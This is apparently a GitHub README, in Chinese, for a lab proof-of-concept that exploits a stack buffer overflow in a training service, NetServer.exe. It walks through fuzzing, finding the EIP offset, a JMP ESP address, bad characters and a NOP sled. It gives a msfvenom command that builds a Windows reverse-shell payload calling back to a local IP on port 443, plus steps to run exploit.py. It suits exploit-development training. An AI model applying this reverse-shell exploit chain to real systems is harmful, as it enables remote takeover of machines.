JordanCyber3/NetServer-RCE-Exploit

GitHub: JordanCyber3/NetServer-RCE-Exploit

一个用于复现 NetServer.exe 栈溢出并实现 RCE 的 PoC 工具,展示了从 EIP 控制到反向 shell 的完整攻击流程。

Stars: 1 | Forks: 0

# NetServer RCE 漏洞利用(缓冲区溢出) ## 概述 本项目演示了如何利用 NetServer 服务中的**基于栈的缓冲区溢出**漏洞,从而实现**远程代码执行(RCE)**。 该漏洞利用通过覆盖 EIP 寄存器,将执行流重定向到由攻击者控制的 shellcode。 ## 🛠️ 实验环境配置 为了重现此漏洞利用,请使用以下受控环境: ### 1. 虚拟环境 * **目标操作系统:** Windows 10 Enterprise * 下载地址: ### 2. 易受攻击的二进制文件 * 位于 `/binaries` 文件夹中 * 文件名:`binaries.7z` * 解压密码:`hunter1` **操作说明:** 将 `netserver.exe` 和 `netserver.dll` 解压到 Windows 10 的桌面上。这两个文件必须位于同一个文件夹中。 ## 📌 描述 本仓库包含针对**栈缓冲区溢出**漏洞的完整利用过程,涵盖了该过程的各个阶段: * 识别漏洞 * 控制 EIP * 识别 Bad Characters * 构建 payload * 执行反弹 Shell ## 🔍 漏洞利用过程 ### 1. 初始 Fuzzing 第一步是通过使用递增的缓冲区对 `SEND` 命令进行 Fuzzing 测试,直到导致服务崩溃。 ![崩溃](https://static.pigsec.cn/wp-content/uploads/repos/cas/5e/5e8ba6456c38e5cd047a72319a92a9a6212b0f6511451540640587ab05b07d3d.png) ![崩溃 2](https://static.pigsec.cn/wp-content/uploads/repos/cas/1f/1f69ae3a02089c08ddfb4736c70797d470314adcfbaa71e552020e8d399764d9.png) ### 2. 偏移量计算(Pattern) 通过使用唯一 Pattern 来确定偏移量: ``` /usr/bin/msf-pattern_create -l 2200 ``` 使用的 Pattern 示例: ``` Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3... ``` 崩溃发生后,使用以下命令分析 EIP 的值: ``` /usr/bin/msf-pattern_offset -l 2200 -q ``` * **结果:** 2007 字节 ### 3. 控制执行流(EIP) 为了重定向执行流,使用了以下地址: * **EIP:** `0x625012A0` * **模块:** `netserver.dll` * **指令:** `JMP ESP` * **Opcode:** `FFE4` 该地址通过 **mona.py** 进行识别,并使用 `msf-nasm_shell` 进行验证,以确保其与该指令的正确 opcode 相匹配。 ![Mona](https://static.pigsec.cn/wp-content/uploads/repos/cas/a5/a5421129db5441a8e37a52c2ce7472558a7aa29e77397bb192e39c213bf75606.png) ![EIP](https://static.pigsec.cn/wp-content/uploads/repos/cas/26/260b3ee65387bf8af067fe57a2367f4d2f01c1a95b35c44f633904cc76a02109.png) ![NASM](https://static.pigsec.cn/wp-content/uploads/repos/cas/a8/a823e1ebf7129b15ddec63f48e9ef410972273e93ddafe40d4b251a872d7a861.png) ### 4. 识别 Bad Characters 在内存分析期间,发现以下字符会导致 payload 损坏: * **Bad Char:** `\x00` 使用 `msfvenom` 生成 shellcode,并排除了无效字符: ``` msfvenom -p windows/shell_reverse_tcp lhost=192.168.18.42 lport=443 exitfunc=thread -b "\x00" -f c ``` ### 5. NOP Sled 与 Payload 结构 最终的 payload 结构: ``` "A" * 2007 + EIP + "\x90" * 32 + shellcode ``` 使用了 **NOP Sled (0x90)** 来提高执行的可靠性。 ![NOP](https://static.pigsec.cn/wp-content/uploads/repos/cas/5e/5e8ba6456c38e5cd047a72319a92a9a6212b0f6511451540640587ab05b07d3d.png) ### 6. 远程代码执行 (RCE) 漏洞利用的最终执行成功获取了**可用的反弹 Shell**,确保了对目标系统的完全控制。 ![Shell](https://raw.githubusercontent.com/JordanCyber3/NetServer-RCE-Exploit/main/Images/shell.png) ## 🧪 使用的工具 * Immunity Debugger * mona.py * msfvenom * msf-pattern_create / msf-pattern_offset * msf-nasm_shell ## 💻 执行 ``` # Clone o repositório git clone https://github.com/JordanCyber3/NetServer-RCE-Exploit.git # Acesse a pasta cd NetServer-RCE-Exploit # Execute o exploit python3 scripts/exploit.py ``` ## 🔐 缓解措施 此漏洞之所以能够被利用,是因为所使用的模块中缺乏现代保护机制。 能够阻止此类漏洞利用的缓解措施包括: * **ASLR (Address Space Layout Randomization)** * **DEP (Data Execution Prevention)** * **SafeSEH** ## ⚠️ 免责声明 本项目专为教育目的和信息安全研究而开发。 未经事先授权使用这些技术是非法的。
标签:Shellcode, 云资产清单, 技术调研, 概念验证, 渗透测试, 漏洞利用, 缓冲区溢出, 逆向工程